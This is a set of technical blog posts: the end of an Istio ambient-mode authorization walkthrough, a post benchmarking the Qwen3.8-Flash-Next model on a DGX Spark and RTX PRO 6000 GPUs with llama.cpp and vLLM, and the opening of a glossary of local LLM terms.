The entire ambient mesh in one view. Every application pod sits at `1/1` READY. No sidecar anywhere. One ztunnel pod for the node. One `payments-waypoint` pod and only one because it's the only service that needed L7. This is the resource story ambient mode makes visible directly in a pod list rather than asserted in a comparison table.
 
### The Nuance
 
Getting the waypoint running was the easy part. The `AuthorizationPolicy` that worked perfectly in sidecar mode does not immediately start enforcing anything once the waypoint existed.
 
In sidecar mode an `AuthorizationPolicy` attaches to a workload with a plain label selector (`selector: matchLabels: app: payments`) because the enforcement point (the sidecar) lives inside that exact pod. In ambient mode HTTP-level enforcement happens on the waypoint, a separate workload. The policy has to explicitly target that waypoint resource.
 
**First attempt: `targetRefs` pointing at the `Gateway`:**
 
```bash
kubectl apply -f - <<EOF
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: payments-only-orders
  namespace: zt-demo
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: Gateway
      name: payments-waypoint
  action: ALLOW
  rules:
    - from:
        - source:
            principals:
              - "cluster.local/ns/zt-demo/sa/orders"
      to:
        - operation:
            methods: ["POST"]
            paths: ["/post"]
EOF
```
 
```bash
# From orders
kubectl run curl-orders -n zt-demo --image=curlimages/curl --restart=Never \
  --overrides='{"spec":{"serviceAccountName":"orders"}}' \
  -- curl -s -o /dev/null -w '%{http_code}\n' \
  http://payments.zt-demo.svc.cluster.local/post -X POST -d '{"amount": 500}'
```
 
```text
200
```
 
```bash
# From frontend
kubectl -n zt-demo exec deploy/frontend -- \
  curl -s -o /dev/null -w '%{http_code}\n' \
  http://payments/post -X POST -d '{"amount": 500}'
```
 
```text
200
```
 
Both get `200`. The policy does not enforce. The waypoint exists. The policy was applied. But traffic bypasses the waypoint entirely.
 
The reason: **the Service has to be told to use the waypoint.** The fix is a *label* on the Kubernetes Service not an annotation and the value is just the waypoint name, not a namespace-qualified path.
 
```bash
kubectl label service payments istio.io/use-waypoint=payments-waypoint
```
 
```bash
kubectl -n zt-demo get service payments --show-labels
```
 
```text
NAME       TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)   AGE   LABELS
payments   ClusterIP   10.96.80.235    <none>        80/TCP    31m   app=payments,istio.io/use-waypoint=payments-waypoint
```
 
Now the service carries the label `istio.io/use-waypoint=payments-waypoint`. Traffic to payments is routed through the waypoint.
 
Istio's docs recommend `targetRefs: Service` as the more precise option because it binds the policy to the service abstraction rather than the proxy instance. In this demo I used `targetRefs: Gateway` because it feels intuitive: the waypoint is the actual enforcement point so targeting it directly makes the mechanics explicit. Both patterns work. The real gotcha we hit was the `use-waypoint` label on the Service. That is what routes traffic through the waypoint without it, neither Gateway targeting nor Service targeting would have enforced anything. If you are building this for production, use `targetRefs: Service`. It decouples your policy from waypoint lifecycle and reads more naturally: you are protecting the payments service, not the payments-waypoint proxy.
 
```bash
# Test from orders
kubectl run curl-orders -n zt-demo --image=curlimages/curl --restart=Never \
  --overrides='{"spec":{"serviceAccountName":"orders"}}' \
  -- curl -s -o /dev/null -w '%{http_code}\n' \
  http://payments.zt-demo.svc.cluster.local/post -X POST -d '{"amount": 500}'
```
 
```text
200
```
 
Orders gets a `200`.
 
```bash
# Test from frontend
kubectl -n zt-demo exec deploy/frontend -- \
  curl -s -o /dev/null -w '%{http_code}\n' \
  http://payments/post -X POST -d '{"amount": 500}'
```
 
```text
403
```
 
Frontend gets a `403`. Same cluster, same service, same everything except its identity. The gap is identical to sidecar mode. The mechanism underneath is completely different.
 
---
 
## What Actually Changed, Side by Side
 
| Aspect | Sidecar Mode | Ambient Mode |
|---|---|---|
| Joining the mesh | Full rollout restart of every deployment required | One label applied to already-running pods. Zero restarts. |
| Pod shape | Full Envoy proxy in every application pod (`2/2` READY) | No sidecar in application pods. A waypoint is deployed as its own separate pod, only for the service that needs L7 rules. |
| Policy authoring | `selector.matchLabels` targets the workload directly | `targetRefs` targets the Gateway or Service, plus an `istio.io/use-waypoint` label on the Service |
| Fail-safe when policy exceeds L4 | Not applicable, every pod has a full proxy | ztunnel accepts the policy without erroring, but fails safe to DENY for HTTP attributes it can't evaluate. The AuthorizationPolicy status field explains why. |
| mTLS enforcement | Configured via `PeerAuthentication` | Active by default for in-mesh traffic. `PeerAuthentication` is optional, for explicit control. |
 
### What Istio's Own Comparison Publishes
 
Worth citing: Istio reports typical p90/p99 latency of roughly **0.6 to 0.9ms per hop** in sidecar mode since both the source and destination sidecar process every request versus roughly **0.15 to 0.2ms with ztunnel alone** and **0.4 to 0.5ms when a waypoint is in the path**. That's Istio's benchmark in their environment, not mine. Worth verifying on your own hardware and environment.
 
---
 
## Why Run This Yourself Instead of Reading a Comparison Table
 
Every sidecar-vs-ambient article can list the theoretical differences in a table. What a table can't do is show you the exact moment ztunnel refuses your policy and tells you why or make you feel the difference between watching four pods restart and watching a label apply to four pods that never blinked. That gap between reading and running is the actual reason this exists as a runnable project instead of another explainer. Clone it, break it and the L4/L7 split stops being a diagram and starts being something you've debugged.
 
---
 
## What's Next
 
If you want to take this further here are immediate hands-on next steps that extend the core comparison:
 
1. **Verify the fail-safe yourself.** Delete the `payments-waypoint` Gateway but keep the L7 `AuthorizationPolicy` applied. Confirm that all traffic to payments is denied. Then recreate the waypoint, re-apply the Service label and watch access restore. This proves the architecture is protecting you from misconfiguration.
2. **Try `targetRefs: Service` vs `Gateway`.** We used `kind: Gateway` in this demo. Try switching to `kind: Service` (group: `""`, name: `payments`) and confirm identical behavior. Understand when each approach is more appropriate.
3. **Add a second waypoint.** Give `inventory` its own waypoint and an L7 policy. Show that waypoints are per-service not per-namespace and that you only pay the L7 proxy cost where you actually need it.
4. **Measure latency with Fortio.** Run a formal benchmark pass against both modes on the same hardware with Prometheus and Grafana for dashboards to verify Istio's published figures with your own first-hand measurements on a replicable environment.

---

Repository: `github.com/Prianshu-git/Service-mesh-Zero-Trust-migration`

---

# Running Qwen3.8-Flash-Next on a DGX Spark and RTX PRO 6000

- Canonical: https://blog.kubesimplify.com/running-qwen3-8-flash-next-on-dgx-spark-and-rtx-pro-6000
- Published: 2026-08-27

Qwen dropped Qwen3.8-Flash-Next this week, and the first thing I saw on my timeline was somebody saying it will not fit on a single DGX Spark. The NVFP4 weights are around 135 GB, a Spark has 128 GB of unified memory, so you need two of them.

That is correct. I checked it and I will show you why. But it is also only part of the story, because there is one build of this model that does fit on a single Spark, and the reason it fits turned out to be more interesting than the fitting.

I have a DGX Spark and access to a box with 8 RTX PRO 6000 Blackwell cards, so let's run it on both and see what the numbers actually look like.

In this post we will go through:

- What Qwen3.8-Flash-Next actually is, and why its size is confusing
- Why "NVFP4 is 135 GB" and "the GGUF is 67 GB" are both true for the same model
- Getting it running on a single DGX Spark with llama.cpp
- Getting it running on RTX PRO 6000 with vLLM, and how it scales across 1, 2 and 4 GPUs
- Why two GPUs beat four on this hardware

Every number in this post was measured on my own machines. Where I quote somebody else's number, I say so.

## What the model is

Qwen3.8-Flash-Next is a mixture-of-experts model. Total parameters are 176.94B, and that splits into two very different halves:

- **125B in the model proper**, of which 512 experts do most of the work. For any given token the router picks only 10 experts plus 1 shared expert.
- **51B in an N-gram embedding table**, which is a giant lookup table rather than something you do maths with.

Qwen puts the active parameters at about 6B per token. That is the whole point of the design: you get the knowledge of a very large model while paying the compute bill of a small one. Worth noting llama.cpp labels the same model `A3B`, so the two are counting slightly different things, and I have not dug into which is right.

The attention is a hybrid. Three out of every four layers use Gated DeltaNet, which compresses the history into a fixed-size state, and every fourth layer uses Qwen Sparse Attention (QSA), which looks at the full context but only scores it in compressed blocks. Qwen calls this a preview of the Qwen4 architecture, and the model type in `config.json` is literally `qwen4_exp`.

## Why the size question is confusing

Here is where I lost an hour, so let me save you the same trouble.

You would assume "NVFP4" means the whole model is squeezed into 4 bits. It does not. I opened `quantization_config` in both official checkpoints, and both have a `modules_to_not_convert` list. Only the **routed experts** get quantized. Attention, GDN, QSA, shared experts, routers, `lm_head`, embeddings, the vision encoder and the MTP head all stay in BF16.

The routed experts are 120.8B of the 125B, so that still covers most of the model. But the 51B N-gram table is the problem. It is stored as FP8 and expanded to BF16 when loaded, which is about 102 GB sitting in memory.

That is why the four builds are so far apart in size:

| Build | Size on disk | Fits one Spark (121 GiB usable)? |
| --- | --- | --- |
| BF16 | 335.3 GiB | No |
| FP8 | 172.8 GiB | No |
| NVFP4 | 135.3 GB | No |
| GGUF `UD-IQ1_S` | 67.55 GiB | **Yes** |

The GGUF is the only build that quantizes the N-gram table too. That is the entire reason it fits.

Now, vLLM has a flag called `VLLM_PLE_CPU_OFFLOAD=1` that pushes that table into host RAM. And this is not a hack somebody bolted on. The Qwen tech report says the tables are "held off the accelerator", and they placed the N-gram layer at **layer 2 specifically so that fetching from host memory overlaps with the compute of layer 1**. The architecture was designed for the table to live somewhere else.

Which is also why that flag does nothing on a Spark. On a Spark, host RAM *is* the same unified pool as GPU memory. There is nowhere to offload to.

## Test environment

| | DGX Spark | RTX PRO 6000 box |
| --- | --- | --- |
| GPU | 1x GB10, 128 GB unified (124610 MiB visible to CUDA) | 8x RTX PRO 6000 Blackwell Server Edition, 97887 MiB each |
| Compute capability | 12.1 | 12.0 |
| Driver | 580.159.03 | 610.43.02 |
| Host RAM | shared with GPU | 1259 GB |
| GPU interconnect | n/a | **No NVLink**, every pair reports `SYS` |
| Engine | llama.cpp build 30, commit `035e227` | vLLM, image `vllm/vllm-openai:qwen38-flash-next` |
| Model build | `unsloth/Qwen3.8-Flash-Next-GGUF` UD-IQ1_S | `Qwen/Qwen3.8-Flash-Next-FP8` |

On the RTX box only 4 of the 8 cards were free, so everything below uses GPUs 1, 4, 5 and 6.

## Part 1: the DGX Spark

### llama.cpp support is not merged yet

First problem. My existing llama.cpp knows `QWEN3NEXT` but not `qwen4_exp`, so it simply will not load this model. Support is an open pull request, [#27742](https://github.com/ggml-org/llama.cpp/pull/27742), written by [Daniel Han](https://github.com/danielhanchen) of [Unsloth](https://unsloth.ai) - all 33 commits of it. Converter, text graph, sparse attention, vision and three quantizer fixes. The entire Spark half of this post exists because of that PR.

So we build it:

```bash
export PATH=$PATH:/usr/local/cuda/bin
git clone --depth 30 --branch qwen4exp/qwen3.8-flash-next \
  https://github.com/unslothai/llama.cpp.git ~/llama-qwen4exp
cd ~/llama-qwen4exp
cmake -B build -DGGML_CUDA=ON -DCMAKE_CUDA_ARCHITECTURES=121 \
      -DGGML_CUDA_FA=ON -DCMAKE_BUILD_TYPE=Release
cmake --build build --config Release -j 16 \
      --target llama-server llama-cli llama-bench llama-perplexity
```

`121` is the GB10 compute capability. Check it worked:

```
$ ~/llama-qwen4exp/build/bin/llama-cli --version
version: 0.3.0-dev (build 30, commit 035e227)
built with GNU 13.3.0 for Linux aarch64
```

### Getting the weights

```bash
hf download unsloth/Qwen3.8-Flash-Next-GGUF --local-dir ~/qwen38/gguf
```

If that stalls at 0 B/s, it is the Xet transport. Set `HF_HUB_DISABLE_XET=1` and keep the worker count at 6 to 8. I tried 24 workers and got `SSL handshake timed out`.

### Running it

```bash
~/llama-qwen4exp/build/bin/llama-server \
  -m ~/qwen38/gguf/UD-IQ1_S/Qwen3.8-Flash-Next-UD-IQ1_S-00001-of-00003.gguf \
  -ngl 999 -c 16384 --host 127.0.0.1 --port 8099 --jinja
```

It loads in about 30 seconds and sits at 72.5 GiB of the 121 GiB available. That leaves roughly 49 GiB free, which is a lot more headroom than I expected.

Here is llama-bench, three repetitions:

```bash
~/llama-qwen4exp/build/bin/llama-bench \
  -m ~/qwen38/gguf/UD-IQ1_S/Qwen3.8-Flash-Next-UD-IQ1_S-00001-of-00003.gguf \
  -ngl 999 -p 2048,8192,32768 -n 128 -r 3
```

```
| model              |      size |    params | backend | ngl |    test |            t/s |
| qwen4exp A3B IQ1_S | 67.55 GiB | 176.94  B | CUDA    | 999 |  pp2048 | 797.76 ± 2.08  |
| qwen4exp A3B IQ1_S | 67.55 GiB | 176.94  B | CUDA    | 999 |  pp8192 | 747.53 ± 3.24  |
| qwen4exp A3B IQ1_S | 67.55 GiB | 176.94  B | CUDA    | 999 | pp32768 | 599.65 ± 1.18  |
| qwen4exp A3B IQ1_S | 67.55 GiB | 176.94  B | CUDA    | 999 |   tg128 |  34.54 ± 0.18  |
```

**34.5 tokens per second on a single Spark, for a model with 176.94B parameters.**

I did not believe that at first either, so let's sanity check it two ways.

First against the hardware. The GB10 is specified at about 273 GB/s of memory bandwidth (that is the spec sheet, not something I measured). Decoding reads roughly 5.37 GB per token here, because only 2.36B of the 120.8B expert parameters are touched for any given token. That puts the ceiling around 50 tok/s, and we measured 34.5, or 68% of it. Comfortably under the roof, which is where a real measurement should sit.

Second against my own earlier numbers. When I [benchmarked the dense Qwen3.8-27B on this same Spark](https://blog.kubesimplify.com/qwen3-8-27b-on-dgx-spark) a couple of weeks ago, llama.cpp gave 11.6 tok/s. A sparse 177B model running about three times faster than a dense 27B one is what you would expect when only a small slice is active per token.

### The prefill curve is the interesting bit

Look again at those prefill numbers. Going from 2,048 tokens to 32,768 tokens is 16 times the context, and throughput only drops 25%. That flatness is consistent with QSA doing its job, although I should be honest that I did not run a dense-attention ablation to prove QSA is the cause.

### "IQ1_S" is not a 1-bit model

The quant is called `UD-IQ1_S` and llama.cpp reports `IQ1_S - 1.5625 bpw`, which makes it sound like a 1-bit model. So I dumped the actual tensor types in the file:

| Type | Size | Share |
| --- | --- | --- |
| IQ4_NL | 47.92 GiB | 70.9% |
| IQ1_S | 10.38 GiB | 15.4% |
| IQ2_XXS | 5.64 GiB | 8.3% |
| Q5_K, Q8_0, Q4_K, Q6_K, F32, BF16 | 3.63 GiB | 5.4% |

**Effective 3.28 bits per weight, not 1.56.** Seventy percent of the bytes are ordinary 4-bit. Unsloth's dynamic quants spend the bit budget where it matters and squeeze the rest, and the biggest thing getting squeezed is that 51B lookup table.

### What it costs you

A couple of prompts coming back correct is not evidence that a quant is fine, so let's measure it with perplexity.

Quick definition, because the name is confusing and there is now a search company called Perplexity that has nothing to do with this. **Perplexity scores how surprised a model is by text it has never seen.** You feed it real writing and at each word check what probability it gave to the word that actually came next, then boil that down to roughly "how many words was it torn between at each step". **Lower is better.** It runs locally, no API involved.

```bash
# llama.cpp's own scripts/get-wikitext-2.sh is broken: it does not follow the
# S3 redirect and leaves you with a 467-byte XML error instead of a zip.
curl -sL -o /tmp/wt2.zip \
  "https://huggingface.co/datasets/ggml-org/ci/resolve/main/wikitext-2-raw-v1.zip"
unzip -oq /tmp/wt2.zip -d /tmp/

~/llama-qwen4exp/build/bin/llama-perplexity \
  -m ~/qwen38/gguf/UD-IQ1_S/Qwen3.8-Flash-Next-UD-IQ1_S-00001-of-00003.gguf \
  -f /tmp/wikitext-2-raw/wiki.test.raw -ngl 999 -c 2048
```

```
Final estimate: PPL = 4.7876 +/- 0.02848
```

That is wikitext-2, 145 chunks at context 2048. Daniel Han reports 4.0068 for llama.cpp at high precision and 4.0126 for the reference implementation in the PR write-up. Those are **his** numbers, not mine, and I could not reproduce them because no higher-precision GGUF of this model has been published yet.

Taking his figure at face value, this quant costs roughly 19% higher perplexity. A normal Q4_K_M usually costs 1 to 3%. So it is a real trade, not a free lunch. It answers questions correctly in casual use, and I would still not reach for it when accuracy matters.

## Part 2: RTX PRO 6000 with vLLM

vLLM had day-zero support with a dedicated image, so this side was much less work than the Spark. Getting the 185 GB checkpoint down was the slow part:

```bash
docker pull vllm/vllm-openai:qwen38-flash-next
HF_HUB_DISABLE_XET=1 hf download Qwen/Qwen3.8-Flash-Next-FP8 --local-dir /llm/qwen38/fp8
```

HuggingFace crawled from this box, so I pulled it from ModelScope instead, which serves the identical 145-file manifest.

```bash
docker run -d --name q38-tp2 --gpus '"device=1,4"' --ipc=host --shm-size=32g \
  -v /llm/qwen38:/llm/qwen38 -e VLLM_PLE_CPU_OFFLOAD=1 -p 8010:8000 \
  vllm/vllm-openai:qwen38-flash-next \
  --model /llm/qwen38/fp8 --served-model-name q38 \
  --tensor-parallel-size 2 --gpu-memory-utilization 0.90 \
  --max-model-len 32768 --max-num-seqs 32 \
  --enable-prefix-caching --no-enable-flashinfer-autotune \
  --reasoning-parser qwen3
```

If you leave out `--reasoning-parser qwen3`, the model's thinking text ends up inside the normal reply content. Ask for it.

For the TP4 runs it is the same command with `--gpus '"device=1,4,5,6"'` and
`--tensor-parallel-size 4`. To compare against keeping the N-gram table on the GPU, set
`-e VLLM_PLE_CPU_OFFLOAD=0`. For speculative decoding, append the MTP config shown later.

Every config below was benchmarked with exactly the same command, only `$C` changing:

```bash
docker exec q38-tp2 vllm bench serve \
  --backend openai-chat --model /llm/qwen38/fp8 --served-model-name q38 \
  --endpoint /v1/chat/completions --base-url http://localhost:8000 \
  --dataset-name random --random-input-len 1024 --random-output-len 512 \
  --max-concurrency $C --num-prompts $((C*4)) --ignore-eos
```

Before benchmarking anything I asked it a question with a known answer, because a healthy `/health` endpoint does not mean the model is producing sense. It got "a train leaves at 14:35 and arrives at 21:10 the next day" right at 30 hours 35 minutes, so we are good.

### How many GPUs do you need?

`--tensor-parallel-size` (TP) is how many GPUs each layer's weight matrices are sliced across. Not "layer 1 on this GPU, layer 2 on that one", that is pipeline parallelism. TP cuts every matrix into pieces, so each GPU computes a partial answer and then they all swap and add. That swap is an all-reduce and it happens at every layer, for every token.

With the N-gram table offloaded to host RAM, the weights need about 123 GiB on the GPU, and each card has 95.6 GiB. So one card should not be enough. It is not:

```
torch.OutOfMemoryError: CUDA out of memory. GPU 0 has a total capacity of
95.01 GiB of which 210.38 MiB is free ... 94.02 GiB is allocated by PyTorch
```

TP3, by the way, is not an option at all. I assumed this was about the 2 KV heads on the attention layers, so I tried it to be sure, and the real reason is different:

```
AssertionError: 16 is not divisible by 3
```

The 16 is `linear_num_key_heads`, the key heads in the Gated DeltaNet layers, and those are 36 of the 48 layers. Your TP size has to divide 16, so the usable values are 1, 2, 4, 8 and 16.

Here is TP2 and TP4, benchmarked with 1024 input and 512 output tokens:

| Config | 1 stream | 32 streams | Median TPOT, 1 stream | KV cache |
| --- | --- | --- | --- | --- |
| TP1 | out of memory | - | - | - |
| TP2 | **81.45 tok/s** | 739.06 tok/s | 10.01 ms | 19.6 GiB |
| TP4 | 64.61 tok/s | **805.38 tok/s** | 13.85 ms | 48.74 GiB |

**Two GPUs are 26% faster than four for a single user.** That surprised me until I looked at the wiring. This box has no NVLink, and `nvidia-smi topo -m` reports every GPU pair as `SYS`, meaning traffic crosses PCIe and the CPU sockets. Now remember only 6B parameters are active per token, so there is barely any maths to divide up. Splitting a tiny job across more GPUs mostly means paying more postage. The extra cards still earn their keep under load, where the bigger KV cache lets you batch 32 users and win on total throughput.

The practical rule: use the smallest TP that fits in memory, and only go wider when you need the KV cache for longer context or more users.

There is also no pipeline-parallel escape hatch here. The vLLM recipe states the N-gram embedding does not support pipeline parallelism, so on a box with bad interconnect you cannot fall back to PP the way you normally would.

### What does offloading the N-gram table actually cost?

The tech report implies host prefetching is nearly free. On this hardware it is cheap but not free:

| TP4 config | 1 stream | 32 streams | KV cache |
| --- | --- | --- | --- |
| N-gram table on GPU | 74.84 tok/s | 772.16 tok/s | 4.7 GiB |
| N-gram table on host | 64.61 tok/s | 805.38 tok/s | 48.74 GiB |

Keeping the table on the GPU is about 16% faster for one user, because you skip the round trip over PCIe. But it eats the memory your KV cache wanted, and it collapses from 48.74 GiB to 4.7 GiB. Maximum concurrency drops from 74x to 10x.

Unless you are serving exactly one person, offload it.

### Speculative decoding, and why benchmark workload decides the answer

The model ships an MTP head, so let's turn it on:

```bash
--speculative-config '{"method":"mtp","num_speculative_tokens":3}'
```

Measured with the same `vllm bench serve` command as everything above, which uses
synthetic random tokens:

| TP4 config | 1 stream | 32 streams | Median TTFT at 32 |
| --- | --- | --- | --- |
| without MTP | 64.61 tok/s | 805.38 tok/s | 2578 ms |
| with MTP | **87.87 tok/s** | 693.72 tok/s | **588 ms** |

That reads as 36% faster for one user, at the cost of 14% of peak throughput. I nearly
left it there. Then someone asked what the acceptance rate was, which is the number that
actually decides whether speculative decoding is worth anything, and I had not measured it.

vLLM exposes it. Here is what the counters say:

| workload | acceptance | mean accepted length |
| --- | --- | --- |
| synthetic random, 1024 in / 512 out | 71.3% | 3.14 of max 4 |
| synthetic random, 512 in / 256 out | 84.4% | 3.53 of max 4 |
| **real code and prose prompts, greedy** | **55.3%** | **2.66 of max 4** |

Real prompts accept considerably worse than random ones. That is the opposite of what I
expected, and the reason is worth knowing if you benchmark anything: `--dataset-name random`
feeds the model random token IDs. Given nonsense, it produces repetitive low-entropy text,
and a draft head predicts repetitive text very easily. **Random-token benchmarks flatter
speculative decoding.**

So I re-ran on five genuine prompts, an LRU cache in Python, a Kubernetes explanation, a Go
CSV reader, a bash one-liner and a plain-English TP explainer, greedy decoding, single
stream, measuring wall clock:

| TP4, real prompts, temp 0 | tok/s |
| --- | --- |
| without MTP | 49.90 |
| with MTP | **124.93** |

**2.5x.** Far better than the 36% the synthetic benchmark implied, despite the lower
acceptance rate. Note this is a different measurement method from the table above, wall
clock across whole requests rather than vLLM's output-token throughput, so compare within
each table and not across them.

The lesson is not that one number is right and the other wrong. Both are real. It is that
a speculative decoding result without its workload and its acceptance rate does not tell
you anything you can act on.

### Does MTP change the answer?

Speculative decoding is supposed to be lossless. The draft head proposes, the full model
verifies, and rejected tokens are discarded, so the output distribution should be
untouched. Worth checking rather than trusting.

Same prompt, temperature 0, seed 42, five runs each, on the same four GPUs with the same
checkpoint, MTP the only variable:

```
MTP off : 3575aff8aa9c1df5  x5
MTP on  : 3575aff8aa9c1df5  x5
```

Byte-identical, and identical to each other. Speculative decoding here costs you nothing in
output fidelity. Worth knowing if you cache responses or snapshot-test them.

For reference, llama.cpp on the Spark is also fully deterministic across five runs, though
that is a different box and a different quant so the hashes are not comparable.

One caveat on all of this: single stream. Under continuous batching, vLLM's batch
composition varies between runs and that is where reproducibility usually breaks, not from
MTP.

### One card, with NVFP4

There is a community NVFP4 build from RadixArk. It is documented for SGLang, but vLLM picked it up anyway (`Detected ModelOpt NVFP4 checkpoint`):

```bash
docker run -d --name q38-nvfp4-tp1 --gpus '"device=1"' --ipc=host --shm-size=32g \
  -v /llm/qwen38:/llm/qwen38 -e VLLM_PLE_CPU_OFFLOAD=1 -p 8012:8000 \
  vllm/vllm-openai:qwen38-flash-next \
  --model /llm/qwen38/nvfp4 --served-model-name q38 \
  --tensor-parallel-size 1 --gpu-memory-utilization 0.93 \
  --max-model-len 16384 --max-num-seqs 16 \
  --no-enable-flashinfer-autotune --reasoning-parser qwen3
```

The weights genuinely fit on a single card:

```
Actual usage is 74.75 GiB for consumed memory (weights + non-torch),
1.85 GiB for peak activation, and 0.28 GiB for CUDAGraph memory.
Current kv cache memory in use is 11.76 GiB.
```

74.75 GiB of weights on one 95.6 GiB card, with 11.76 GiB of KV cache left over. So the memory answer is yes.

I cannot give you a speed number though. The engine finished loading, captured its CUDA graphs at 06:34:14, and then the API server never came up. Twenty minutes later `Application startup complete` had still not been printed a single time, `/health` was refusing connections, and one CPU core was spinning. The only errors in the log were harmless transformers docstring warnings. RadixArk documented this checkpoint for SGLang and not vLLM, so I am not shocked, but I am not going to invent a number I did not measure.

## Both machines side by side

![Qwen3.8-Flash-Next benchmarks on DGX Spark and RTX PRO 6000](/img/blog/running-qwen3-8-flash-next-on-dgx-spark-and-rtx-pro-6000/benchmarks-both-machines.png)

| | DGX Spark | RTX PRO 6000 |
| --- | --- | --- |
| Build | GGUF UD-IQ1_S, 3.28 bpw | FP8, 172.8 GiB |
| Engine | llama.cpp (unmerged PR) | vLLM (day-zero support) |
| GPUs used | 1 | 2 or 4 |
| Best single stream | 34.5 tok/s | 87.9 tok/s (TP4 + MTP) |
| Best throughput | not measured | 805 tok/s at 32 streams |
| Memory | 72.5 of 121 GiB | ~66 GiB per GPU at TP2 |

These are not really competing. One is a desktop box running a heavily compressed build, the other is four datacenter cards running the full FP8 checkpoint. What I find genuinely interesting is that the gap is only about 2.5x.

## What I did not measure

To be straight about the edges of this post:

- **No high-precision perplexity baseline.** The 4.0068 and 4.0126 figures are the PR author's, and no higher-precision GGUF exists yet for me to check them against.
- **No proof that QSA causes the flat prefill curve.** It is consistent with the architecture, but I ran no ablation.
- **No NVFP4 throughput.** The weights fit on one card, the server never came up.
- **No concurrency sweep on the Spark.** llama-bench numbers there are single stream.
- **No BF16 run anywhere.** At 335 GiB it was not worth the download.

## Thanks

Two things made the Spark side of this possible and both came from the same place.

[Daniel Han](https://x.com/danielhanchen) at [Unsloth](https://x.com/UnslothAI) wrote the
llama.cpp support in PR [#27742](https://github.com/ggml-org/llama.cpp/pull/27742), every
commit of it, within a day of the model landing. He also published the dynamic quant that
is the only build small enough to fit on one Spark, and his write-up of the PR includes
perplexity and top-1 agreement numbers against the reference implementation, which is what
let me sanity check my own. That is a lot of careful work given away for free.

Thanks also to the [llama.cpp](https://github.com/ggml-org/llama.cpp) maintainers, and to
[RadixArk](https://huggingface.co/RadixArk/Qwen3.8-Flash-Next-NVFP4) for the NVFP4
conversion, which fit on a single RTX PRO 6000 even though I could not get it serving.

## Wrapping up

The claim that started this was right: NVFP4 does not fit on one DGX Spark. But a single Spark still runs this 177B model at 34.5 tok/s through llama.cpp, because Unsloth's GGUF is the one build that also compresses the 51B N-gram table, and it costs you about 19% perplexity to do it.

On the RTX PRO 6000 box the surprise was that two GPUs beat four for a single user. If you are sizing hardware for sparse MoE models, more cards past the point where the weights fit will buy you batch throughput and KV cache, not lower latency, especially without NVLink.

The scripts, recipes and raw benchmark output are in the repo if you want to reproduce any of this. If you run it on different hardware I would love to see your numbers, so send them over on X [@SaiyamPathak](https://x.com/SaiyamPathak).

---

# The Local LLM Glossary: Every Term, Flag, and Number in Plain English

- Canonical: https://blog.kubesimplify.com/local-llm-glossary
- Published: 2026-08-18
- Summary: Plain-English definitions for every term you hit in local LLM posts: prefill and decode, tokens per second, FP8 and NVFP4, Q4_K_M, KV cache, YaRN, Gated DeltaNet, speculative decoding, and every vLLM, llama.cpp, and Ollama flag worth knowing.

Every local LLM post, mine included, is full of shorthand: `pp2048`, `tg128`, FP8, `UD-Q4_K_XL`, KV cache, `gpu_memory_utilization: 0.8`, MTP, YaRN. If you live in this world daily it reads fine. If you do not, it reads like a wall of magic strings.

So here is the glossary. Every term, flag, and number that shows up across the local LLM and DGX Spark posts on this blog, explained in plain English, with the reason it matters rather than just the expansion of the acronym.

You do not need to read this top to bottom. Ctrl+F the thing that confused you, get your answer, go back to the post you came from.

## Start here: the two halves of every request

Almost everything in this glossary makes more sense once you have these two words straight.

**Prefill** (also called prompt processing) is the model reading your input. Every token of your prompt can be processed at the same time, in parallel, because they are all already known. This is why prefill numbers look big: 800 to 4,000 tokens per second is normal on a DGX Spark.

**Decode** (also called generation) is the model writing its answer. It produces one token, feeds that token back in, produces the next. Each step depends on the one before it, so there is nothing to parallelize. This is why decode numbers look small: 8 to 30 tokens per second for a 27B model on the same box.

When someone says "the model feels slow," they nearly always mean decode. When someone says "it took ages before anything appeared," they mean prefill.

[Day 2 of the Local LLM series](/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step) walks a single request through both halves step by step if you want the long version.

## Reading a benchmark table

**Token.** The unit models actually read and write. Roughly three quarters of an English word on average, so 1,000 tokens is about 750 words. Numbers, code, and punctuation eat more tokens than plain prose.

**t/s (tokens per second).** The throughput unit for both halves above. Always ask which half it refers to, because prefill t/s and decode t/s can differ by 100x on the same machine.

**TTFT (time to first token).** How long from pressing enter until the first word appears. Dominated by prefill, so it grows with prompt length.

**pp512, pp2048.** `pp` is prompt processing, the number is how many tokens of prompt. `pp2048` means "prefill throughput measured on a 2,048 token prompt." These names come from `llama-bench` and stuck as a convention.

**tg128, tg32.** `tg` is token generation, the number is how many tokens were generated. `tg128` means "decode throughput measured while generating 128 tokens."

**Depth (context depth).** How much conversation or document was already in the context window before the measurement started. `depth 0` is a cold, empty context. `depth 32768` means the model was already holding 32K tokens. Decode usually slows down as depth grows, and how much it slows is one of the more interesting things about a model's architecture.

**Concurrency.** How many requests were in flight at once. `c=1` is one user. `c=10` is ten simultaneous requests, which is what serving a team or a fleet of agents actually looks like.

**Aggregate vs per request.** At concurrency 10 you get two decode numbers. Aggregate is all ten requests added together, which is what a server operator cares about. Per request is what each individual user experiences, which is always lower. A box doing 84 t/s aggregate across 10 users is giving each of them about 9 t/s.

## Why the numbers come out the way they do

This is the section that makes bad benchmark numbers stop being mysterious.

**Memory bandwidth.** How many gigabytes per second the chip can read out of memory. The DGX Spark's GB10 does about 273 GB/s. A discrete RTX PRO 6000 does roughly 6x that. This single number sets the ceiling for decode.

**Weight streaming.** To produce one token, a dense model has to read every one of its weights out of memory. A 16.7GB model at 273 GB/s can therefore do at most about 16 tokens per second, no matter how fast the compute is. Measured 11.6 t/s against a 16 t/s theoretical ceiling is about 70% of peak, which is what real kernels achieve.

The mental model I keep coming back to: it is like re-reading an entire book off the shelf before you can write each next word. Your reading speed sets the pace, not how fast you can think.

**Bandwidth-bound vs compute-bound.** Decode is bandwidth-bound: the chip is waiting on memory, and the tensor cores are mostly idle. Prefill is compute-bound: there is enough parallel work to actually saturate the math units. This is why the same box can look fast and slow within one request, and why halving your model size roughly doubles decode but barely moves prefill.

**Unified memory.** On the GB10 the CPU and GPU share one pool of memory (128GB, of which about 121.7 GiB is addressable) rather than the GPU having its own separate VRAM. Two consequences: big models fit without a discrete card's memory limit, and every process on the box competes for the same pool. If a llama.cpp container is still holding 18GB, your vLLM launch will fail on memory it can see but not have.

**VRAM.** The dedicated memory on a discrete GPU. On a unified-memory box like the Spark there is no separate VRAM, which trips up tools that assume there is.

